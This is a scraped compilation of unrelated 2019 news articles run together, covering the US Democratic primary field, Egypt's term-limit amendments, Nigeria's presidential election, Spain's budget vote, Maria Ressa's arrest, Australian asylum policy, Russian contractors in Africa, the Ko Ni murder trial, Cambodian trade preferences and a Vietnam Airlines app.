Analysts say that in a field that could eventually expand to 15 or 20 candidates, the Democratic contenders early on will be looking for ways to set themselves apart from the rest of the field.

I think the key candidates, the ones who will do well, will have a constituency either in the progressive wing of the party that is really fighting Donald Trump or especially in the African American community, said John Fortier of the Bipartisan Policy Center in Washington.

Target Trump

The candidate field may be diverse, but grassroots Democratic voters will likely be focused on one key unifying goal, according to University of Virginia expert Larry Sabato.

When you get right down to it, what is the most important thing to Democrats? If I am to believe what I am hearing, and I do, it is that they want to pick the candidate who has the best chance of beating Donald Trump, Sabato said via Skype.

For his part, President Trump is eager to bash the Democratic presidential field as too far to the left, as he did at his Monday night border rally in Texas.

The Democrat Party has never been more outside of the main stream. They are becoming the party of socialism, late-term abortion, open borders and crime, Trump said to cheers from supporters in El Paso.

More Democrats are expected to join the race in the weeks ahead and that list could include Biden, Sanders, Ohio Senator Sherrod Brown and former Texas congressman Beto ORourke.CAIRO, EGYPT - Egypts Parliament began deliberations Wednesday over constitutional amendments that could allow President Abdel-Fattah el-Sissi to stay in office till 2034  12 more years after his current, second term expires in 2022.

The development comes amid concerns that Egypt is slipping back into authoritarianism, eight years after a pro-democracy uprising ended autocratic President Hosni Mubaraks nearly three-decade rule.

In this photo released by the Egyptian president's FILE - Egyptian president's office, Egyptian President Abdel Fattah el-Sissi, center, attends a conference commemorating the country's martyrs, in Cairo, March 15, 2018. FILE - Egyptian president's office, Egyptian President Abdel Fattah el-Sissi, center, attends a conference commemorating the country's martyrs, in Cairo, March 15, 2018.

Lawmakers are expected to vote later in the day or on Thursday, after which the text of the amendments would be finalized by a special legislative committee and sent back to the assembly for a final decision within two months.

Egypt Debates Motion to Extend Presidential Term Limits Egypts parliament advanced a proposal on Tuesday to amend the constitution in a way that could allow President Abdel-Fattah el-Sissi to stay in office well beyond the end of his current term in 2022.El-Sissi led the 2013 military overthrow of an elected but divisive Islamist president and was elected the following year. Egypts parliament advanced a proposal on Tuesday to amend the constitution in a way that could allow President Abdel-Fattah el-Sissi to stay in office well beyond the end of his current term in 2022.El-Sissi led the 2013 military overthrow of an elected but divisive Islamist president and was elected the following year.

The 596-seat assembly, which is packed with el-Sissis supporters, has already given its preliminary approval to the changes last week. The amendments are almost certain to be overwhelmingly approved by the legislature, but will also need to be put to a national referendum to become law.

The referendum is likely to take place before the Muslim holy month of Ramadan, which is expected to start in early May this year.

Egypt Tries to Block 60 Minutes el-Sisi Interview Egypt does not want the CBS news program 60 Minutes to broadcast an interview conducted with Egyptian President Abdel Fattah el-Sisi. CBS said in a statement the Egyptian embassy contacted the news show shortly after the interview and requested that it not be aired. The interview, conducted by Scott Pelley, will air Sunday night. The president confirmed in the interview that the Egyptian military has been working closely with its archenemy Israel. That is correct, el-Sisi says in the Egypt does not want the CBS news program 60 Minutes to broadcast an interview conducted with Egyptian President Abdel Fattah el-Sisi. CBS said in a statement the Egyptian embassy contacted the news show shortly after the interview and requested that it not be aired. The interview, conducted by Scott Pelley, will air Sunday night. The president confirmed in the interview that the Egyptian military has been working closely with its archenemy Israel. That is correct, el-Sisi says in the

Parliament Speaker Ali Abdel-Al opened Wednesdays session, telling lawmakers in the packed chamber that there will be a national dialogue and that all opinions and trends will be included in the discussions.

The vote had initially been scheduled for next week, but was moved up. A coalition of nearly a dozen opposition parties has come out against the amendments, but on their own they will not be able to block them.

FILE - German Chancellor Angela Merkel, second lef FILE - German Chancellor Angela Merkel, second left, welcomes the President of Egypt, Mohamed Morsi, second right, with military honors at the chancellery in Berlin, Germany, Wednesday, Jan. 30, 2013. FILE - German Chancellor Angela Merkel, second left, welcomes the President of Egypt, Mohamed Morsi, second right, with military honors at the chancellery in Berlin, Germany, Wednesday, Jan. 30, 2013.

El-Sissi, who previously held the office of military chief, led the militarys 2013 overthrow of the freely elected but divisive president, Mohamed Morsi of the Muslim Brotherhood, after protests against his rule. El-Sissi was elected president the following year and has since presided over an unprecedented crackdown on dissent. He was re-elected last year after all potentially serious challengers were jailed or pressured to exit the race.

Along with extending a presidents term in office from four to six years, the amendments include a special article that applies only to el-Sissi and allows him to run for two more six-year terms after his current term expires in 2022.

The amendments also envisage the office of one or two vice presidents, a revived Senate, and a 25 percent quota for women in parliament. They call for adequate representation for workers, farmers, young people and people with special needs in the legislature.

The president would have the power to appoint top judges and bypass judiciary oversight in vetting draft legislation before it is voted into law. The amendments declare the countrys military guardian and protector of the Egyptian state, democracy and the constitution, while also granting military courts wider jurisdiction in trying civilians.

Rights Groups Fear Egypt's Military Targeting Dissidents As Egypt is cracking down on militants across the country, particularly in the countrys Sinai region, some experts and rights groups have voiced concerns that the countrys security forces are using counterterror measures to target dissidents. Three-per-day forced disappearances where individuals will simply be removed from their homes without any information given about their whereabouts and whether or not they even end up in the prison system where their lawyers are not able to access them to be As Egypt is cracking down on militants across the country, particularly in the countrys Sinai region, some experts and rights groups have voiced concerns that the countrys security forces are using counterterror measures to target dissidents. Three-per-day forced disappearances where individuals will simply be removed from their homes without any information given about their whereabouts and whether or not they even end up in the prison system where their lawyers are not able to access them to be

In the last three years, over 15,000 civilians, including children, have been referred to military prosecution in Egypt, according to New York-based Human Rights Watch.Nigerians go to the polls Saturday to choose a president and legislature for Africas most populous country, returning two weeks later to pick state governors and local representatives.

Voters in the West African nation must decide whether to grant a second term to President Muhammadu Buhari.

The 76-year-old former military leader won office in 2015 on promises to improve Nigeria's oil-dependent economy, fight rampant corruption and quell insecurity  especially in the northeast plagued by Islamist extremists.

Nigeria's President Muhammadu Buhari greets his su Nigeria's President Muhammadu Buhari, at right, greets supporters during a campaign rally in Rivers State on Feb. 12, 2019. He seeks a second term in the election Saturday. Nigeria's President Muhammadu Buhari, at right, greets supporters during a campaign rally in Rivers State on Feb. 12, 2019. He seeks a second term in the election Saturday.

Buhari's main challenger  in a field of at least 60 contenders  is Atiku Abubakar, a 72-year-old businessman and former vice president campaigning on a similar platform.

Supporters of the People's Democratic Party (PDP) Supporters of the People's Democratic Party (PDP) attend a campaign rally in Lagos, Feb. 12, 2019. Supporters of the People's Democratic Party (PDP) attend a campaign rally in Lagos, Feb. 12, 2019.

But another issue looms over the vote: election-related violence. Last Sunday alone, five people were fatally shot near the southeastern city of Warri in what local police attributed to political divides, the AFP news agency reported. The shootings had followed clashes between young supporters of Buhari's ruling All Progressives Congress (APC) and the main opposition People's Democratic Party fronted by Abubakar.

"Violence is the major problem of every election," said Patricia Onoja, a 60-year-old retired nurse in Abuja, the capital. She told VOA she counsels young people to resist any thuggery  a mission undertaken by other Nigerian parent groups, too.

Human Rights Watch says that more than 800 people died in 2011 election-related violence. But voting in 2015 brought the comparatively peaceful handover of power from Goodluck Jonathan to Buhari.

WATCH related video:

Now, the country will be tested on whether it "can successfully conduct two consecutive, credible elections," says Oge Onubogu, an Africa program officer with the United States Institute of Peace. A U.S.-born Nigerian-American, she closely follows the elections.

Nigeria's Independent National Electoral Commission (INEC) says it's prepared for Saturday's vote, despite troubles such as a suspected arson fire at its annex in the Middle Belt city of Jos.

Clement Nwankwo, a lawyer and convener of the Nigeria Civil Society Situation Room, said that umbrella group has built "a good relationship" with the INEC. Nwankwo said the Situation Room has trained monitors and will relay any concerns  from missing elections materials to allegations of abuse  so INEC can address problems quickly. "We're able to intervene," he said.

Here's a closer look at the campaign issues:

Security

Buhari, in a late-December interview with VOA at the presidential villa in Abuja, said Nigerian security troops had reduced the amount of territory controlled by the Islamist extremist group Boko Haram in the country's northeast.

"Now you can check in the northeast that Boko Haram is not holding any local government, per se," he said.

FILE - A still image taken from video shows a grou FILE - A still image taken from video shows a group of girls, released by Boko Haram jihadists after kidnapping them in 2014 in the north Nigerian town of Chibok, sitting in a hall as they are welcomed by officials in Abuja, Nigeria, May 7, 2017. FILE - A still image taken from video shows a group of girls, released by Boko Haram jihadists after kidnapping them in 2014 in the north Nigerian town of Chibok, sitting in a hall as they are welcomed by officials in Abuja, Nigeria, May 7, 2017.

But a decade after their emergence, the Boko Haram militants have kidnapped hundreds of people  most notably girls from a school in Chibok, many of whom still are missing. They've also killed tens of thousands and displaced millions. And now an offshoot group, the Islamic State West Africa Province, has added to the destabilization.

Another threat comes from increased conflicts between herdsmen and farmers over land use in the so-called Middle Belt. The International Crisis Group reports more than 1,300 related deaths since January 2018.

Abubakar blames the Buhari administration for what he calls Nigeria's "worst insecurity.  It was confined to the northeast" when Buhari took office but now has spread.

John Campbell, a former U.S. ambassador to Nigeria and a senior fellow with the Council on Foreign Relations, edits the Nigeria Security Tracker. It maps reported violence around the country.

He said he sees "no new ideas from either candidate about how to deal with Boko Haram, no real discussion about the much more broad-based security issues which now cover the entire country."

Economy

Though oil-rich Nigeria has one of Africas leading economies, its still recovering from the 2014 plunge in crude prices. Poverty is rife in the country of nearly 200 million, with an estimated 87 million (44 percent) who are desperately poor, according to the World Poverty Clock.

Men stand near displayed merchandise for sale arou Men stand near displayed merchandise for sale around the informal sector at the Wuse market in Abuja, Nigeria, Jan. 30, 2018. Men stand near displayed merchandise for sale around the informal sector at the Wuse market in Abuja, Nigeria, Jan. 30, 2018.

In interviewing Nigerians late last spring, the Gallup World Poll found the highest level of food insecurity in 13 years. Three out of five respondents  71 percent  said they lacked enough money for food at times during the previous 12 months.

In terms of having money for food and shelter, things are as bad as theyve ever been for Nigerians, said Jay Loschky, the polls regional director for English-speaking Africa.

Buhari has said that, if granted a second term, he would focus on boosting job creation and completing infrastructure projects.

Abubakar  who worked in customs and the oil sector,and founded the private American University of Nigeria  says he has the business acumen to help guide the economy and encourage job creation.

In an interview with VOA last month in Washington, Abubakar derided the Buhari administration for Nigeria's jobless rate, which officially rose to 23 percent in 2018's third quarter, up from 19 percent the previous year. That translates to more than 20 million unemployed. "Twenty million is no joke," he said. "It is a time bomb.

Job creation is critical, especially given Nigeria's huge and underemployed youth population.

John Sunday, 23-year-old student and first-time vo John Sunday, 23-year-old student and first-time voter, poses for a picture in the Makoko shanty town built on stilts in a lagoon in Lagos, Feb. 4 , 2019. John Sunday, 23-year-old student and first-time voter, poses for a picture in the Makoko shanty town built on stilts in a lagoon in Lagos, Feb. 4 , 2019.

Obadiah Tohomdet, a 63-year-old communications consultant in Abuja, said his son graduated from university five years ago and still has not found work except for odd jobs.

"The private sector is not expanding.  I think that's the greatest problem we have in Nigeria," Tohomdet told VOA. "And the youth, of course, are frustrated." And vulnerable, he added. "They can be subject to manipulation and they could be used for antisocial activity.  It's not that they are not ready to work. The atmosphere is very tough."

Corruption

Buharis supporters call him the incorruptible man. But critics accuse Nigerian military officials of corruption and say Buhari's administration has looked the other way.

Last month, the president also drew condemnation  domestically and from abroad  when he suspended Nigeria's chief justice from the position where he would have a key say in resolving any election disputes.

People protest at the secretariat of the Nigerian FILE - People protest at the secretariat of the Nigerian Bar Association following the suspension of Nigeria's Chief Justice Walter Onnoghen, in Abuja Nigeria, Jan. 28, 2019. FILE - People protest at the secretariat of the Nigerian Bar Association following the suspension of Nigeria's Chief Justice Walter Onnoghen, in Abuja Nigeria, Jan. 28, 2019.

The trial for Walter Onnoghen  who allegedly made false claims about his assets  is pending.

Abubakar has encountered clouds of suspicion over time. As the BBC pointed out in a candidate profile last week, he was accused in 2006 of diverting public money toward "his business interests" while serving as vice president. A 2010 report from the U.S. Senate Permanent Subcommittee on Investigations also alleged that Abubakar was involved in bringing "suspect funds into the United States" through the bank account of his American wife.

He was linked to another case: the bribery conviction of a U.S. congressman, William Jefferson, a Democrat from Louisiana. Identified by the U.S. government as a corrupt foreign official, Abubakar was barred entry to the country.

But he never faced any charges.

"Nobody has brought any evidence of corruption against me, Abubakar said during his interview at VOAs Washington headquarters.

His two-day January visit to the United States  his first in more than 12 years  dispelled the Nigerian rumor that he would be arrested upon arrival. Instead, the candidate met with some members of Congress, the State Department and the U.S. Chamber of Commerce.

Abubakar was able to obtain a U.S. visa through the intervention of American lobbyists, Bloomberg news reported last week.

He also has said he would consider an amnesty program to encourage looters of public funds to voluntarily return the money.

Improved confidence in voting

Nigerians view the approaching elections with modest but improved confidence in the process, according to a Gallup poll released last week. Based on polling conducted in mid-2018, it found that roughly a third of respondents  34 percent, up from 13 percent in 2014  have faith in "the honesty of elections."

By comparison, 49 percent of respondents in sub-Saharan African countries polled last year expressed confidence in their respective elections, said Gallup's Loschky. He also said 37 percent of Americans voiced confidence in U.S. elections.

VOA contributors to this report include Grace Alheri Abdu of the Hausa Service, from Abuja; Peter Clottey of the English to Africa Service, from Lagos; Anita Powell, from Johannesburg; and Carol Guensburg, from Washington.A number of people were killed in a stampede at a rally in support of Nigerian President Muhammadu Buhari, local officials from his party said on Tuesday, days ahead of an election in which he is seeking a second term.

The incident happened at an event in the southern city of Port Harcourt, which is in the country's Niger Delta oil-production heartland.

Voters in Nigeria, Africa's biggest democracy, will go to the polls on Saturday. Buhari's main challenger in the race to govern the continent's top oil-producing nation is Atiku Abubakar, a businessman and former vice president.

Watch related video: "Nigerias Presidential Candidates: Same-Same or Different?"



In a statement, Judith Amaechi, who runs the women and youth team in support of Buhari in the region for his All Progressives Congress (APC) party, expressed "deep shock over the death of APC members who were in a stampede."

The statement, which did not specify the number of people killed, said it occurred after the rally.

Accidents sometimes occur at political rallies in Nigeria, which are often crowded. Last week, Buhari offered his condolences after supporters were killed in a stampede at a rally in the eastern state of Taraba.MADRID - Catalan separatist and right-wing lawmakers in the Spanish parliament's lower house rejected Wednesday the ruling Socialist government's 2019 budget plan, likely paving the way for a call of early elections by Prime Minister Pedro Sanchez.

The 191-158 vote, with one abstention, opens a new crisis in Spanish politics. Members of the cabinet had signaled that a defeat in parliament would lead to a general election. The only other time that a Spanish government lost a budget vote, in 1995, the Socialists were forced to dissolve the parliament and call an election.

Opposition leader Pablo Casado, head of the conservative People's Party, said Wednesday's vote was a de facto confidence vote against Pedro Sanchez.

Catalan deputies from pro-independence parties had demanded to open talks on the northeastern region's self-determination in exchange for supporting Sanchez's spending proposal, but the center-left minority government had rejected that.

The socialist party holds only 84 seats in the 350-seat lower house. Its votes and those of the anti-austerity Podemos party weren't enough to counter a majority of center-right, conservative and smaller parties voting in favor of six blanket objections.

Sanchez became prime minister in June when the Catalans joined the anti-austerity Podemos and other smaller parties in backing a no-confidence vote against his conservative predecessor, Mariano Rajoy.

Without parliamentary support, Sanchez's government can't pass significant legislation and would need to prolong Rajoy's 2018 spending plan. That leaves the center-left administration without funds for social policies that are key to retaining Podemos' support.

Sanchez rushed out of the lower house's chamber shortly after the vote, dodging questions by reporters.

His finance minister, Maria Jesus Montero, said that it made sense that Sanchez's term, which ends next year, would be shortened with the budget rejection - but that it was up to the prime minister himself to decide if and when to call a new general election.

Talks between Sanchez's government and a new separatist coalition that took power in Catalonia after 2017's failed independence push broke down last week when the government refused to accept self-determination talks.

The ongoing trial against a dozen politicians and activists who drove the breakaway attempt in Catalonia two years ago has further angered many pro-independence supporters.

The politically charged trial entered its second day on Wednesday with the Supreme Court prosecutor criticizing what he said were defense lawyers' attempts to turn the proceedings into an examination of the Spanish state and judiciary.

Prosecutor Javier Zaragoza called ridiculous and unjustified the arguments made on Tuesday, the trial's opening day, by defense lawyers who called the case politically motivated and an attempt to eliminate dissent in the troubled northeastern region.

Twelve Catalan politicians and activists face years behind bars if they are convicted of rebellion or other charges for having pushed ahead with a unilateral independence declaration that opened an unprecedented political crisis in Spain.An award-winning Philippine journalist and founder of an online news site that has clashed repeatedly with President Rodrigo Duterte was arrested Wednesday by government agents on libel charges.

Maria Ressa, executive editor of Rappler, Inc., was arrested following a complaint from a businessman linked to murder and trafficking humans and drugs. The Philippine justice ministry filed the case on behalf of the of businessman, who denies any wrongdoing. Dutere's government maintains the arrest was a normal response to the complaint.

Maria Ressa, the award-winning head of a Philippin Maria Ressa, the award-winning head of a Philippine online news site Rappler that has aggressively covered President Rodrigo Duterte's policies, is escorted into another room following her arrest by National Bureau of Investigation agents in a libel case, Maria Ressa, the award-winning head of a Philippine online news site Rappler that has aggressively covered President Rodrigo Duterte's policies, is escorted into another room following her arrest by National Bureau of Investigation agents in a libel case,

Ressa's arrest stems from a 2012 report about the businessman's alleged ties to a judge who was on the nation's highest court.

"We are not intimidated," Ressa said in a statement after her arrest. "No amount of legal cases, black propaganda and lies can silence Filipino journalists who continue to hold the line."

"These legal acrobatics show how far the government will go to silences journalists, including the pettiness of forcing me to spend the night in jail," she added.

The National Union of Journalists of the Philippines condemned the arrest as a "shameless act of persecution by a bully government."

The Committee to Protect Journalists in Bangkok called on authorities to drop all charges against Ressa and to immediately release her. The committee's Southeast Asia representative, Shawn Crispin, said "the Philippine government's legal harassment of Rappler and Ressa has now reached a critical and alarming juncture."

London-based Amnesty International denounced the arrest as "brazenly politically motivated."

Ressa was one of several people named "Person of the Year" by Time Magazine in 2018. Time wrote she was recognized for leading Rappler's "fearless reporting on President Rodrigo Duterte's propaganda machine and extrajudicial killings," a reference to his signature anti-drug campaign that has killed thousands of people. Critics say the campaign has targeted the poor.

Ressa's detention represents a significant escalation in government pressure on Rappler, which was already facing tax evasion charges that could shut it down.

Duterte has also cracked down on other high-profile critics in the media and the legislature who have opposed his bloody anti-drug campaign.

The Philippines fell six places last year in a ranking of press freedom published by Reporters Without Borders. The country fell to 133 out of 180 because of the government's efforts to silence critics, the group said.The Australian government said Wednesday it would reopen a mothballed island detention camp in anticipation of a new wave of asylum-seekers arriving by boat after Parliament passed legislation that would give sick asylum-seekers easier access to mainland hospitals.

The Christmas Island immigration detention camp, south of Jakarta, Indonesia, was a favorite target of people smugglers who brought asylum-seekers from Asia, Africa and the Middle East in rickety boats from Indonesian ports before the trade virtually stopped in recent years.

Prime Minister Scott Morrison said a security committee of his cabinet agreed to reopen the camp on Wednesday on the advice of senior security officials.

The decision was made before the Senate passed legislation 36 votes to 34 that would allow doctors instead of bureaucrats to decide which asylum-seekers on camps on the Pacific island nations of Papua New Guinea and Nauru can fly to Australia for hospital treatment.

Australian Prime Minister Scott Morrison addresses Australian Prime Minister Scott Morrison addresses media at Parliament House in Canberra, Australia, Feb. 13, 2019. Australian Prime Minister Scott Morrison addresses media at Parliament House in Canberra, Australia, Feb. 13, 2019.

Morrison's conservative government argues that the bill, passed 75 to 74 by the House of Representatives on Tuesday, will undermine Australia's tough refugee policy. The policy banishes asylum-seekers who attempt to reach Australia by boat to the Pacific island camps in a bid to deter other asylum-seekers from making the perilous voyage.

"My job now is to ensure that the boats don't come," Morrison told reporters. "My job now is to do everything in my power and the power of the government to ensure what the Parliament has done to weaken our border does not result in boats coming to Australia."

The legislation demonstrates the government's weak hold on power and will put asylum-seeker policy at the forefront of campaigning ahead of elections that Morrison wants to hold in May. He has ruled out calling a snap election on the refugee issue.

Morrison said he would repeal the "foolish law" if his government were re-elected.

Australian governments rarely lose votes in the House of Representatives, where parties need a majority to form an administration. Legislation has only been passed in the House against a government's will in 1929, 1941, 1962 and 2013.

The ruling coalition lost its single-seat majority when former Prime Minister Malcolm Turnbull quit politics after he was deposed by his party colleagues in August. Another lawmaker has since quit the government as part of the bitter fallout over the leadership change.

Refugee advocates applaud the law that they regard as a more humanitarian approach toward asylum-seekers.

The Senate passed similar amendments on medical evacuations despite ruling party objections on the last day Parliament sat last year.



Australian security agencies warned in December that if those amendments became law, asylum-seekers would likely head to Australia again in significant numbers.

The people smuggling boat traffic has all but stopped in the past five years with the government promising that any refugees who arrive on Australian shores by boat will never be allowed to settle there.

Opposition leader Bill Shorten on Tuesday re-drafted the amendments passed by the Senate in December in an attempt to make the law less likely to attract a new wave of asylum-seekers, who used to arrive in Australia at a rate of more than a boat a day.

FILE - Refugees are pictured on Nauru, Sept. 4, 20 FILE - Refugees are pictured on Nauru, Sept. 4, 2018. FILE - Refugees are pictured on Nauru, Sept. 4, 2018.

The changes included a provision that only the 1,000 asylum-seekers currently held on Nauru and Papua New Guinea and not any future arrivals would be considered for medical evacuation under the new regime.

The government had struck a deal in 2016 for the United States to accept up to 1,250 refugees languishing on Nauru and Papua New Guinea. The government had similarly made the offer only available to refugees on the islands at the time to avoid attracting new asylum-seekers, Shorten said.

"I believe that we can keep our borders secure, we can uphold national security but still treat people humanely," Shorten told Parliament.

Medical evacuations have become a loophole in Australia's policy of exiling asylum-seekers who arrive by boat.

Hundreds of asylum-seekers who have been allowed into Australia for hospital treatment have received court injunctions that prevent their return to the islands.

Sick asylum-seekers often have to fight the Australian government in court for permission to be transferred to an Australian hospital.

Law firm Maurice Blackburn welcomed the law change.

"It should never have had to come to this point, but it is evident this bill was urgently needed to force action," lawyer Jennifer Kanis said in a statement. "In the last year alone, we have had to take court action repeatedly to help secure the medical evacuation of 26 ill people on Nauru, many of these children."

"In a number of those cases, the delay in accessing medical treatment risked life-threatening consequences for the children and adults concerned," she added.

Home Affairs Minister Peter Dutton said he expected more boats to head for Australia in treacherous voyages that sometimes end in tragedy.

"There is no question that people smugglers will be hearing very clearly that the policy in Australia has changed," Dutton said. "This puts Australia back on the map for people smugglers and Bill Shorten has that on his shoulders."WASHINGTON - When a crowd in Bambari, in the Central African Republic, accused Mahamat Nour Mamadou of belonging to a militia group tied to the countrys previous regime, the consequences were swift and harsh.

Soldiers whisked Mamadou away to a nearby town hall, where he was questioned, and then to a base, where he was tortured for five days.

Mamadou told the AFP news agency that soldiers choked him with a chain, slashed his back with a knife and sliced off one of his fingers. Evidence of the abuse he endured appeared in an internal United Nations report circulated last month.

Government-sanctioned torture isnt unusual in conflict-scarred countries where authoritarian regimes fear popular uprisings and armed rebels. What makes Mamadous case unique is the group he says tortured him: Russian soldiers.



The U.N. is now investigating allegations of torture at the hands of Russians in the CAR based on Manadous account, AFP reported.

Military ties

Private military contractors from Russia have, in recent years, stepped into a pivotal role in central Africa, including in the CAR and neighboring Sudan.

Working closely with local governments, PMCs are providing security, gathering intelligence and training local armies. In the CAR, theyre advising the president. In Sudan, theyre guarding gold, diamond and uranium mines.

Moscow has downplayed the groups roles and insists that they act independently of the Kremlins wishes. But experts say the contractors have close ties to Russias military apparatus, and their presence helps Moscow achieve its strategic goals, from acquiring needed resources to competing with China and the United States, both of whom have permanent bases in Africa and more military might.

Jonathan Hutson is a human rights advocate and strategic communications consultant in Washington. He told VOA that Russian PMCs do the Kremlins bidding.

Theyre really pretending to be mercenaries while actually functioning as part of Russias military intelligence arm, the GRU, Hutson said.

Geopolitical ambitions

Its being done with the knowledge and the aid of Russian government bodies, said David Isenberg, an independent analyst who has studied private security contractors since the 1980s and testified before Congress on the topic.

This is basically part and parcel of Russias greater geopolitical ambitions in Africa and elsewhere in the world, he added.

The Russian Ministry of Defense, for example, helps issue passports to contractors, Isenberg said. PMCs also use weapons supplied by the Russian government and, on occasion, fly Russian military planes to destinations in Africa, Isenberg added.

He estimates that about 175 Russian PMCs are in the Central African Republic, and at least 300 are in Sudan.

So far, the model has proved successful for Moscow. Just a few hundred people on the ground in central Africa have provided Russia with access to both resources and power.

FILE - Russian President Vladimir Putin talks with Sudanese President Omar al-Bashir during their meeting in the Black Sea resort of Sochi, Russia, Nov. 23, 2017.

In 2017, Russian President Vladimir Putin flew Sudanese President Omar al-Bashir to Sochi, in western Russia, to discuss strategic interests.

Al-Bashir said he needed protection, and he promised minerals in return.

Since then, Russian involvement in the country has only increased, even as Sudan convulses under growing civil unrest, prompting protests and a violent crackdown on the press.

A shady area

Whether PMCs are legal hasnt been settled. In Russia, Hutson said, It is illegal for private military contractors to exist. However, the Wagner Group, which is present in Sudan, is actually sponsored by the Russian government. They fly on Russian military planes. When theyre wounded, theyre treated in Russian military hospitals.

Its a shady area, Isenberg said. A United Nations convention against mercenaries barely took effect due to low numbers of signatories, he added, and enforcement has been spotty.

In a legal gray zone, outside the kind of traditional approach to security that would be subject to more diplomatic scrutiny, Russia has helped suppress protests and gather intelligence, Hutson said.

Its much more opaque, and therefore much more difficult to deal with, Isenberg added.

But even as unrest in Sudan and the Central African Republic continue, Russias bets appear well placed. With a modest investment, theyve found strategic allies and access to resources. Now, theyre planning a base in Sudan, along the Red Sea.

But what benefits authoritarian regimes appears less helpful to the people of nations with a PMC presence.

Its not actually war, but its not peace, either, Isenberg said. It is exploiting existing turmoil and disorder to their advantage.Sorry, but your browser cannot support embedded video of this type, you can download this video to view it offline.The landmark trial of three men accused of plotting the assassination of a prominent Muslim lawyer will draw to a close Friday, more than two years since the killing sent shock waves through the country.

Ko Ni, a constitutional expert and close advisor to leader Aung San Suu Kyi, was holding his young grandson as he waited outside Yangons airport in January 2017 when a man walked up behind him and shot him in the back of the head.

Before his death, Ko Ni had been working on plans to loosen the militarys grip on power.

A Yangon court will rule on how to punish the gunman, Kyi Lin, who was caught on camera in broad daylight pulling the trigger, and will decide the fate of his alleged co-conspirators.

The prosecution has called for the death sentence for all three men, though they would likely never be executed.

Defense lawyers have argued for leniency for Kyi Lin and acquittal for the other two men, who are both former military officers, as well as a fourth defendant accused of harboring one of them.

The suspected mastermind of the plot, retired Lieutenant-Colonel Aung Win Khine, has so far evaded arrest.

Ko Nis eldest daughter, Yin Nwe Khine, said it is important for the country that her father gets justice, but the outcome of the trial will make little difference to her family.

I want justice for my father, for everybody who faces such things. For everybody in our country who lost a loved one, she told VOA. It has to be, for the image of the country, for rule of law, for our countrys dignity.

She does not plan to attend the hearing, she added.

Ko Ni used his legal expertise to try to help Aung San Suu Kyi find ways around the countrys military-drafted constitution, which has allowed the generals to maintain a stranglehold on power even after taking a back seat and allowing civilians into politics.

He had openly mulled amending or replacing the 2008 charter, which guarantees soldiers a quarter of seats in parliament, and therefore an effective veto over any constitutional changes.

It also allows the military to appoint active servicemen to key ministerial positions in border affairs, home affairs and defense.

Aung San Suu Kyi is barred from becoming president under the charter, but since her party took power in 2016 she has ruled the country from above the president as State Counsellor, a position that Ko Ni is credited with helping to create.

The assassination also underscored the precarious situation of Muslims in the majority Buddhist country, which is plagued by ethnic tensions.

Ko Nis status as a prominent Muslim who was also outspoken meant he was viewed as an enemy by ultra-nationalist Buddhists. Shortly after his death, infamous anti-Muslim monk Wirathu publicly thanked the killers on Facebook.

Yin Nwe Khine said her family is looking forward to the trial being over.

We just want our personal life back, thats all, she said. We are publicly known, it makes us very stressed. People stare at me. It makes me feel very uncomfortable.

Observers have criticized the two-year legal proceedings, which involved dozens of pre-trial hearings, as sluggish and flawed.

The International Commission of Jurists last month pointed to multiple cases of testimony that appears to be irrelevant and key witnesses failing to appear.

Despite these criticisms, prosecution lawyer Nay La told VOA he believes it has been a fair trial.

Government spokesperson Zaw Htay declined to comment when contacted by phone on Tuesday.

David Mathieson, an independent analyst based in Myanmar, told VOA the proceedings have been farcical.

I think after over 100 hearings and with some strange and irrelevant antics deployed by the defense, playing politics with the whole case while judges were swapped like playing cards, there can be no confidence in the verdict regardless of the results, he said.Rosenberg police are searching for a burglar who broke into Austin Elementary in Pecan Grove Sunday night and urinated and smeared feces on teaching equipment.Cambodia on Tuesday expressed dismay over the European Unions plans to initiate the countrys withdrawal process from a preferential trading scheme that experts say is vital for the Cambodian economy.

Prime Minister Hun Sens government has called the move to withdraw Cambodia from the Everything But Arms scheme was has a political motive to drag Cambodia into geopolitical war.

The EU on Monday said Cambodia has one year to institute democratic and human rights reforms or face expulsion from the scheme. If reforms are not made Cambodia faces expulsion from the scheme in August 2020.

We believe the decision has a political motive to drag Cambodia into geopolitical war. Cambodia will defend itself at all costs ... despite pressure in any form, a statement from the government reads.

Phay Siphan, a government spokesman, said Cambodia had already surpassed the levels of GDP per capita that is usually a benchmark for membership of Everything But Arms.

Allow me to say that the suspension or removal of EBA does not mean Cambodia loses its market in Europe. Cambodia still has a market share in Europe and we can still export. What we lose is just supremacy in competition due to tariffs, he said.

Cecilia Malmstrom, EU commissioner, said the EUs engagement with Cambodia has led us to conclude that there are severe deficiencies when it comes to human rights and labor rights in Cambodia that the government needs to tackle if it wants to keep its country's privileged access to our market.

The US Embassy has expressed similar concerns over the deteriorating political situation in the country. It called for the restoration of true multi-party democracy and for treason charges against the leader of the former opposition, Kem Sokha, to be dropped.

Sokhas Cambodia National Rescue Party was banned by a court order in November 2017, just months before a crucial general election that Hun Sens Cambodian Peoples party won outright.

Responding to the EUs statement on Monday, the Garment Manufacturers Association of Cambodia said the industry will face risks and Cambodias development halted if the EBA withdrawal went ahead.

Eurocham, a business association and lobby group representing some 350 companies, also said it regretted the decision.

The EU is a Cambodia's biggest export market with annual exports of about $5.5 billion, providing about $600 million in profit.Click here to log in and see all of our other subscription options for the Mesabi Tribune, including online only & auto-renewal subscriptions.The new version of Vietnam Airlines' app has upgraded functions and is more user-friendly

The new version was built on a high-tech platform to bring customers a mobile application with a completely new interface as well as upgraded speed to process transactions faster and smoother. In addition, the main features on the application are arranged scientifically and intuitively to bring maximum convenience to customers.

Specifically, the new mobile application allows customers to easily purchase tickets, pay directly, manage tickets, purchase additional services, follow incentive programmes, check in, track flights, and view their flight history right on their phone with only a few simple taps.

Besides, members of the Golden Lotus programme can manage accounts, update membership records, request bonuses, and manage their membership rank, among others, easily and conveniently.

One of the other important updates is the support of various types of online payments such as domestic payment forms and international card payment (Visa, MasterCard, and JCB, among others).

QR Pay is a faster and more secure payment method

In August 2018, Vietnam Airlines has officially added a quick payment method by using the VNPAY-QR code scanner application, which is also integrated into the new app to give customers the best experience when buying tickets.

The advantage of paying with VNPAY-QR is that customers will not need to enter their bank account information, card number or password as with other forms. While with traditional payment methods customers are afraid of typing in their card information, account information or bringing too much cash along to the counters, with QR Pay, customers can process their payment with a few steps: login to the Mobile Banking application on their mobile phones, scan the QR code, and authenticate the transaction by the OTP code, fingerprint or facial recognition. This helps to ensure full security for the payment.

A representative of Vietnam Airlines said, All you need for the upcoming trip will be packed in one application. With modern technology, improved speed, optimal payment steps, and modern design, Vietnam Airlines wants to bring customers new experiences and make every journey easier right from the first step. "

